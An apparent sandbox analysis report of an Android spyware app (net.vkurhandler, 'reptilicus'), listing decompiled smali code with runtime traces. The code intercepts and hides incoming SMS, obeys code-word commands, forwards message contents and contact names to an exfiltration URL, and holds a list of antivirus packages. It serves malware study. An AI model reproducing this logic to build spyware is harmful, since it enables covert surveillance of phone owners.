                    175invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    176move-result-object v1
                    178invoke-direct {v0, v1}, Lnet/vkurhandler/dl;-><init>(Landroid/content/Context;)V
                    179iput-object v0, p0, Lnet/vkurhandler/MyApp;->k:Lnet/vkurhandler/dj;
                    180new-instance v0, Lnet/vkurhandler/dr;
                    182invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    183move-result-object v1
                    185invoke-direct {v0, v1}, Lnet/vkurhandler/dr;-><init>(Landroid/content/Context;)V
                    186iput-object v0, p0, Lnet/vkurhandler/MyApp;->l:Lnet/vkurhandler/dj;
                    188invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    189move-result-object v0
                    191invoke-static {v0}, Lnet/vkurhandler/dp;->a(Landroid/content/Context;)V
                    192new-instance v0, Lnet/vkurhandler/dp;
                    194invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    195move-result-object v1
                    197invoke-direct {v0, v1}, Lnet/vkurhandler/dp;-><init>(Landroid/content/Context;)V
                    198iput-object v0, p0, Lnet/vkurhandler/MyApp;->m:Lnet/vkurhandler/dj;
                    199new-instance v0, Lnet/vkurhandler/ds;
                    201invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    202move-result-object v1
                    204invoke-direct {v0, v1}, Lnet/vkurhandler/ds;-><init>(Landroid/content/Context;)V
                    205iput-object v0, p0, Lnet/vkurhandler/MyApp;->n:Lnet/vkurhandler/dj;
                    206new-instance v0, Lnet/vkurhandler/do;
                    208invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    209move-result-object v1
                    211invoke-direct {v0, v1}, Lnet/vkurhandler/do;-><init>(Landroid/content/Context;)V
                    212iput-object v0, p0, Lnet/vkurhandler/MyApp;->p:Lnet/vkurhandler/dj;
                    213new-instance v0, Lnet/vkurhandler/dh;
                    215invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    216move-result-object v1
                    218invoke-direct {v0, v1}, Lnet/vkurhandler/dh;-><init>(Landroid/content/Context;)V
                    219iput-object v0, p0, Lnet/vkurhandler/MyApp;->r:Lnet/vkurhandler/dj;
                    220new-instance v0, Lnet/vkurhandler/dg;
                    222invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    223move-result-object v1
                    225invoke-direct {v0, v1}, Lnet/vkurhandler/dg;-><init>(Landroid/content/Context;)V
                    226iput-object v0, p0, Lnet/vkurhandler/MyApp;->s:Lnet/vkurhandler/dj;
                    227new-instance v0, Lnet/vkurhandler/di;
                    229invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    230move-result-object v1
                    232invoke-direct {v0, v1}, Lnet/vkurhandler/di;-><init>(Landroid/content/Context;)V
                    233iput-object v0, p0, Lnet/vkurhandler/MyApp;->q:Lnet/vkurhandler/dj;
                    234new-instance v0, Lnet/vkurhandler/dq;
                    236invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    237move-result-object v1
                    239invoke-direct {v0, v1}, Lnet/vkurhandler/dq;-><init>(Landroid/content/Context;)V
                    240iput-object v0, p0, Lnet/vkurhandler/MyApp;->o:Lnet/vkurhandler/dj;
                    241new-instance v0, Ljava/util/HashMap;
                    243invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                    244iput-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    246iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    248iget-object v1, p0, Lnet/vkurhandler/MyApp;->j:Lnet/vkurhandler/dj;
                    250iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    252iget-object v2, p0, Lnet/vkurhandler/MyApp;->j:Lnet/vkurhandler/dj;
                    254invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    256iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    258iget-object v1, p0, Lnet/vkurhandler/MyApp;->k:Lnet/vkurhandler/dj;
                    260iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    262iget-object v2, p0, Lnet/vkurhandler/MyApp;->k:Lnet/vkurhandler/dj;
                    264invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    266iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    268iget-object v1, p0, Lnet/vkurhandler/MyApp;->l:Lnet/vkurhandler/dj;
                    270iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    272iget-object v2, p0, Lnet/vkurhandler/MyApp;->l:Lnet/vkurhandler/dj;
                    274invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    276iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    278iget-object v1, p0, Lnet/vkurhandler/MyApp;->m:Lnet/vkurhandler/dj;
                    280iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    282iget-object v2, p0, Lnet/vkurhandler/MyApp;->m:Lnet/vkurhandler/dj;
                    284invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    286iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    288iget-object v1, p0, Lnet/vkurhandler/MyApp;->n:Lnet/vkurhandler/dj;
                    290iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    292iget-object v2, p0, Lnet/vkurhandler/MyApp;->n:Lnet/vkurhandler/dj;
                    294invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    296iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    298iget-object v1, p0, Lnet/vkurhandler/MyApp;->p:Lnet/vkurhandler/dj;
                    300iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    302iget-object v2, p0, Lnet/vkurhandler/MyApp;->p:Lnet/vkurhandler/dj;
                    304invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    306iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    308iget-object v1, p0, Lnet/vkurhandler/MyApp;->o:Lnet/vkurhandler/dj;
                    310iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    312iget-object v2, p0, Lnet/vkurhandler/MyApp;->o:Lnet/vkurhandler/dj;
                    314invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    316iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    318iget-object v1, p0, Lnet/vkurhandler/MyApp;->q:Lnet/vkurhandler/dj;
                    320iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    322iget-object v2, p0, Lnet/vkurhandler/MyApp;->q:Lnet/vkurhandler/dj;
                    324invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    326iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    328iget-object v1, p0, Lnet/vkurhandler/MyApp;->r:Lnet/vkurhandler/dj;
                    330iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    332iget-object v2, p0, Lnet/vkurhandler/MyApp;->r:Lnet/vkurhandler/dj;
                    334invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    336iget-object v0, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    338iget-object v1, p0, Lnet/vkurhandler/MyApp;->s:Lnet/vkurhandler/dj;
                    340iget-object v1, v1, Lnet/vkurhandler/dj;->f:Ljava/lang/String;
                    342iget-object v2, p0, Lnet/vkurhandler/MyApp;->s:Lnet/vkurhandler/dj;
                    344invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    346iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    348const-string v1, "first_start_app"
                    349const/4 v2, 0x0
                    351invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    352move-result v0
                    353if-nez v0, :cond_25f
                    355invoke-static {}, Lnet/vkurhandler/gn;->g()Z
                    • Time: 1273312
                      • Return:
                        • true
                    356move-result v0
                    357if-eqz v0, :cond_247
                    359invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    360move-result-object v0
                    362invoke-static {v0}, Lnet/vkurhandler/gn;->g(Landroid/content/Context;)Z
                    363move-result v0
                    364if-eqz v0, :cond_1f9
                    366invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->c()V
                    367goto_1f9:
                    368invoke-direct {p0}, Lnet/vkurhandler/MyApp;->z()V
                    370iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    372invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    373move-result-object v0
                    375const-string v1, "transmit_calls"
                    376const/4 v2, 0x1
                    378invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    379move-result-object v0
                    381invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    383iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    385invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    386move-result-object v0
                    388const-string v1, "transmit_sms"
                    389const/4 v2, 0x1
                    391invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    392move-result-object v0
                    394invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    396iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    398invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    399move-result-object v0
                    401const-string v1, "first_start_app"
                    402const/4 v2, 0x1
                    404invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    405move-result-object v0
                    407invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    408goto_22c:
                    409invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    410move-result-object v0
                    412iget-object v1, p0, Lnet/vkurhandler/MyApp;->C:Ljava/util/HashMap;
                    414invoke-static {v0, v1}, Lnet/vkurhandler/dm;->a(Landroid/content/Context;Ljava/util/HashMap;)V
                    416invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    417move-result-object v0
                    419invoke-static {v0}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    420move-result v0
                    421if-eqz v0, :cond_246
                    423invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    424move-result-object v0
                    426invoke-static {v0}, Lnet/vkurhandler/dc;->a(Landroid/content/Context;)V
                    427goto_246: return-void
                    428cond_247:
                    429iget-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    431invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    432move-result-object v0
                    434const-string v1, "wait_for_sd_mounted"
                    435const/4 v2, 0x1
                    437invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    438move-result-object v0
                    440invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    441try_end_257: goto/16 :goto_1f9
                    442catch_258: move-exception v0
                    444const-string v1, "Application"
                    446invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    447goto/16 :goto_246
                    448try_start_25f:
                    449invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->c()V
                    450try_end_262: goto/16 :goto_22c
                    APIs
                    • android.content.Intent.getExtras
                    • android.os.Bundle.get
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • java.lang.String.split
                    • android.content.SharedPreferences.getString
                    • java.lang.String.toLowerCase
                    • java.lang.String.toLowerCase
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.length
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.replace
                    • java.lang.String.replace
                    • net.vkurhandler.Sms2Receiver.abortBroadcast
                    • java.lang.String.split
                    • android.content.SharedPreferences.getString
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.Sms2Receiver.abortBroadcast
                    • android.telephony.SmsMessage.createFromPdu
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • android.telephony.SmsMessage.getDisplayMessageBody
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.telephony.SmsMessage.getOriginatingAddress
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    Strings
                    • SmsReceiver
                    • onReceive
                    • pdus
                    • netstat
                    • sms_code_word
                    • netstat
                    • 3454
                    • call_password
                    • EMPTY
                    • transmit_sms
                    • type
                    • sub_type
                    • sms_type
                    • date
                    • 2018-08-31 12:41:18
                    • phone_number
                    • name
                    • message
                    • bat_level
                    • charger
                    Position Instruction Meta Information
                    0const/4 v3, 0x4
                    1const/4 v11, 0x3
                    2const/4 v1, 0x0
                    3const/4 v5, 0x2
                    4const/4 v10, 0x1
                    6invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    7move-result v0
                    8if-eqz v0, :cond_12
                    10const-string v0, "SmsReceiver"
                    12const-string v2, "onReceive"
                    14invoke-static {v0, v2, p2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    15cond_12: sget-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    16if-eqz v0, :cond_17
                    17goto_16: return-void
                    18cond_17:
                    19invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                    • Time: 1402396
                      • This:
                        • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
                      • Return:
                        • Bundle[{format=3gpp, pdus=[Ljava.lang.Object;@d6d1da3}]
                    20move-result-object v0
                    22const-string v2, "pdus"
                    24invoke-virtual {v0, v2}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
                    25move-result-object v0
                    26check-cast v0, [Ljava/lang/Object;
                    28const-string v4, ""
                    29const/4 v2, 0x0
                    30move v6, v1
                    31goto_27: array-length v1, v0
                    32if-lt v6, v1, :cond_e1
                    34invoke-static {v2}, Lnet/vkurhandler/gn;->e(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1402417
                      • p0: null
                      • Return:
                        • ""
                    35move-result-object v6
                    37invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    38move-result-object v0
                    40invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    41move-result-object v8
                    43const-string v0, " "
                    45invoke-virtual {v4, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    46move-result-object v0
                    47array-length v1, v0
                    48if-lez v1, :cond_196
                    50const-string v1, "sms_code_word"
                    52const-string v2, "netstat"
                    54invoke-interface {v8, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1402419
                      • This:
                        • android.app.SharedPreferencesImpl@b9c5343
                      • p0: sms_code_word
                      • p1: netstat
                      • Return:
                        • netstat
                    55move-result-object v1
                    57invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                    58move-result-object v1
                    59const/4 v2, 0x0
                    60aget-object v0, v0, v2
                    62invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                    63move-result-object v0
                    65invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    66move-result v2
                    67if-nez v2, :cond_60
                    69const-string v2, "netstat"
                    71invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    72move-result v0
                    73if-eqz v0, :cond_196
                    74cond_60:
                    75invoke-virtual {v1}, Ljava/lang/String;->length()I
                    76move-result v0
                    77if-lez v0, :cond_7f
                    78new-instance v0, Ljava/lang/StringBuilder;
                    80invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    81move-result-object v1
                    83invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    85const-string v1, " "
                    87invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    88move-result-object v0
                    90invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    91move-result-object v0
                    93const-string v1, ""
                    95invoke-virtual {v4, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    96move-result-object v4
                    97cond_7f:
                    98const-string v0, "netstat "
                    100const-string v1, ""
                    102invoke-virtual {v4, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    103move-result-object v0
                    105invoke-virtual {p0}, Lnet/vkurhandler/Sms2Receiver;->abortBroadcast()V
                    106move-object v7, v0
                    107goto_8b:
                    108const-string v0, " "
                    110invoke-virtual {v7, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    111move-result-object v0
                    112const/4 v4, 0x0
                    114const-string v1, "call_password"
                    116const-string v2, "3454"
                    118invoke-interface {v8, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1402422
                      • This:
                        • android.app.SharedPreferencesImpl@b9c5343
                      • p0: call_password
                      • p1: 3454
                      • Return:
                        • 3454
                    119move-result-object v9
                    121sget-object v1, Lnet/vkurhandler/de;->f:Ljava/lang/String;
                    123invoke-virtual {v6, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    124move-result v1
                    125if-nez v1, :cond_aa
                    127const-string v1, "netstat"
                    129invoke-virtual {v6, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    130move-result v1
                    131if-eqz v1, :cond_116
                    132cond_aa: array-length v1, v0
                    133if-lt v1, v10, :cond_10a
                    134const/4 v1, 0x0
                    135aget-object v1, v0, v1
                    136goto_b0: array-length v2, v0
                    137if-lt v2, v5, :cond_10d
                    138const/4 v2, 0x1
                    139aget-object v2, v0, v2
                    140goto_b6: array-length v4, v0
                    141if-lt v4, v11, :cond_110
                    142const/4 v4, 0x2
                    143aget-object v4, v0, v4
                    144goto_bc: array-length v5, v0
                    145if-ne v5, v3, :cond_113
                    146const/4 v5, 0x3
                    147aget-object v0, v0, v5
                    148goto_c2: move v5, v3
                    149move-object v3, v0
                    150move-object v0, v1
                    151goto_c5:
                    152invoke-virtual {v9, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    153move-result v0
                    154if-eqz v0, :cond_134
                    156invoke-virtual {p0}, Lnet/vkurhandler/Sms2Receiver;->abortBroadcast()V
                    157new-instance v0, Lnet/vkurhandler/ah;
                    158move-object v1, p1
                    160invoke-direct/range {v0 .. v6}, Lnet/vkurhandler/ah;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V
                    162invoke-static {v0}, Lnet/vkurhandler/ah;->a(Ljava/lang/Runnable;)V
                    163try_end_d7: goto/16 :goto_16
                    164catch_d9: move-exception v0
                    166const-string v1, "SmsReceiver"
                    168invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    169goto/16 :goto_16
                    170cond_e1: aget-object v1, v0, v6
                    171check-cast v1, [B
                    173invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
                    • Time: 1402413
                      • p0: [B@974c59
                      • p0: 2Tvz
                      • p0: 01000A811032547698000005C47ABB9D07
                      • Return:
                        • null
                    174move-result-object v1
                    175new-instance v7, Ljava/lang/StringBuilder;
                    177invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    178move-result-object v4
                    180invoke-direct {v7, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    182invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getDisplayMessageBody()Ljava/lang/String;
                    183move-result-object v4
                    185invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    186move-result-object v4
                    188invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    189move-result-object v4
                    190if-nez v2, :cond_199
                    192invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;
                    193move-result-object v1
                    194goto_104: add-int/lit8 v2, v6, 0x1
                    195move v6, v2
                    196move-object v2, v1
                    197goto/16 :goto_27
                    198cond_10a:
                    199const-string v1, ""
                    200goto/16 :goto_b0
                    201cond_10d:
                    202const-string v2, "EMPTY"
                    203goto/16 :goto_b6
                    204cond_110:
                    205const-string v4, ""
                    206goto/16 :goto_bc
                    207cond_113:
                    208const-string v0, ""
                    209goto/16 :goto_c2
                    210cond_116: array-length v1, v0
                    211if-lt v1, v10, :cond_12b
                    212const/4 v1, 0x0
                    213aget-object v1, v0, v1
                    214goto_11c: array-length v2, v0
                    215if-lt v2, v5, :cond_12e
                    216const/4 v2, 0x1
                    217aget-object v2, v0, v2
                    218goto_122: array-length v3, v0
                    219if-lt v3, v11, :cond_131
                    220const/4 v3, 0x2
                    221aget-object v0, v0, v3
                    222goto_128: move-object v3, v0
                    223move-object v0, v1
                    224goto/16 :goto_c5
                    225cond_12b:
                    226const-string v1, ""
                    227goto/16 :goto_11c
                    228cond_12e:
                    229const-string v2, "EMPTY"
                    230goto/16 :goto_122
                    231cond_131:
                    232const-string v0, ""
                    233goto/16 :goto_128
                    234cond_134:
                    235const-string v0, "transmit_sms"
                    236const/4 v1, 0x0
                    238invoke-interface {v8, v0, v1}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    239move-result v0
                    240if-eqz v0, :cond_16
                    242invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    243move-result-object v0
                    245const-string v1, "type"
                    246const/4 v2, 0x1
                    248invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    250const-string v1, "sub_type"
                    251const/4 v2, 0x2
                    253invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    255const-string v1, "sms_type"
                    256const/4 v2, 0x1
                    258invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    260const-string v1, "date"
                    262invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    • Time: 1402439
                      • Return:
                        • 2018-08-31 12:41:18
                    263move-result-object v2
                    265invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    267const-string v1, "phone_number"
                    269invoke-virtual {v0, v1, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    271const-string v1, "name"
                    273invoke-static {p1, v6}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    274move-result-object v2
                    276invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    278const-string v1, "message"
                    280invoke-virtual {v0, v1, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    282const-string v1, "bat_level"
                    284invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    285move-result-object v2
                    287invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    288move-result-object v2
                    290invoke-virtual {v2}, Lnet/vkurhandler/ce;->a()I
                    291move-result v2
                    293invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    295const-string v1, "charger"
                    297invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    298move-result-object v2
                    300invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    301move-result-object v2
                    303invoke-virtual {v2}, Lnet/vkurhandler/ce;->b()Z
                    • Time: 1402466
                      • This:
                        • net.vkurhandler.ce@7137cce
                      • Return:
                        • true
                    304move-result v2
                    306invoke-virtual {v0, v1, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    308invoke-static {p1, v0}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    309try_end_194: goto/16 :goto_16
                    310cond_196: move-object v7, v4
                    311goto/16 :goto_8b
                    312cond_199: move-object v1, v2
                    313goto/16 :goto_104
                    APIs
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    Strings
                    • com.jb.security
                    • com.drweb
                    • com.psafe.msuite
                    • com.cleanmaster.mguard
                    • com.eset.ems2.gp
                    • com.avast.android.mobilesecurity
                    • com.cleanmaster.security
                    • com.androhelm.antivirus.free2
                    • com.qihoo.security
                    • com.kms.free
                    • com.antivirus
                    • com.avira.android
                    • com.cmsecurity.lite
                    • com.zrgiu.antivirus
                    • com.baboon_antivirus
                    • com.piriform.ccleaner
                    • com.qihoo.security.lite
                    • com.dianxinos.optimizer.duplay
                    • com.securityantivirusforandroid.uberapps.googleplay
                    • com.avast.android.cleaner
                    • com.iobit.mobilecare
                    • com.antivirus.security.forandroid.scanner
                    • com.cyou.security
                    • com.ijinshan.kbatterydoctor_en
                    • com.trustgo.mobile.security
                    • com.antivirus.tablet
                    • com.lookout
                    • com.cleanmaster.boost
                    • com.wsandroid.suite
                    • com.gpaddy.free.antivirus
                    • com.kaspersky
                    • com.qihoo360.mobilesafe
                    • com.dianxinos.dxbs
                    • com.du.master.antivirus.security.android
                    • com.cleanmaster
                    • com.cmcm.lite
                    • com.symantec.mobilesecurity
                    • com.infoz.free.antivirus
                    • com.zoner.android.antivirus
                    • com.comodo.cisme.antivirus
                    • com.ashampoo.droid.optimizer
                    • booster.cleaner.optimizer
                    • com.apusapps.tools.booster
                    • kvd.antispy
                    • LnN5c3RlbV9hbmRyb2lkLy5kYXRhLw==
                    • .system_android/.data/
                    • cmVwdGlsaWN1cw==
                    • reptilicus
                    • reptilicus/data/
                    • aHR0cDovL3JlcHRpbGljdXMubmV0L2JuL2cucGhwPw==
                    • http://reptilicus.net/bn/g.php?
                    Position Instruction Meta Information
                    0const/4 v3, 0x2
                    1const/16 v0, 0x2d
                    2new-array v0, v0, [Ljava/lang/String;
                    3const/4 v1, 0x0
                    5const-string v2, "com.jb.security"
                    6aput-object v2, v0, v1
                    7const/4 v1, 0x1
                    9const-string v2, "com.drweb"
                    10aput-object v2, v0, v1
                    12const-string v1, "com.psafe.msuite"
                    13aput-object v1, v0, v3
                    14const/4 v1, 0x3
                    16const-string v2, "com.cleanmaster.mguard"
                    17aput-object v2, v0, v1
                    18const/4 v1, 0x4
                    20const-string v2, "com.eset.ems2.gp"
                    21aput-object v2, v0, v1
                    22const/4 v1, 0x5
                    24const-string v2, "com.avast.android.mobilesecurity"
                    25aput-object v2, v0, v1
                    26const/4 v1, 0x6
                    28const-string v2, "com.cleanmaster.security"
                    29aput-object v2, v0, v1
                    30const/4 v1, 0x7
                    32const-string v2, "com.androhelm.antivirus.free2"
                    33aput-object v2, v0, v1
                    34const/16 v1, 0x8
                    36const-string v2, "com.qihoo.security"
                    37aput-object v2, v0, v1
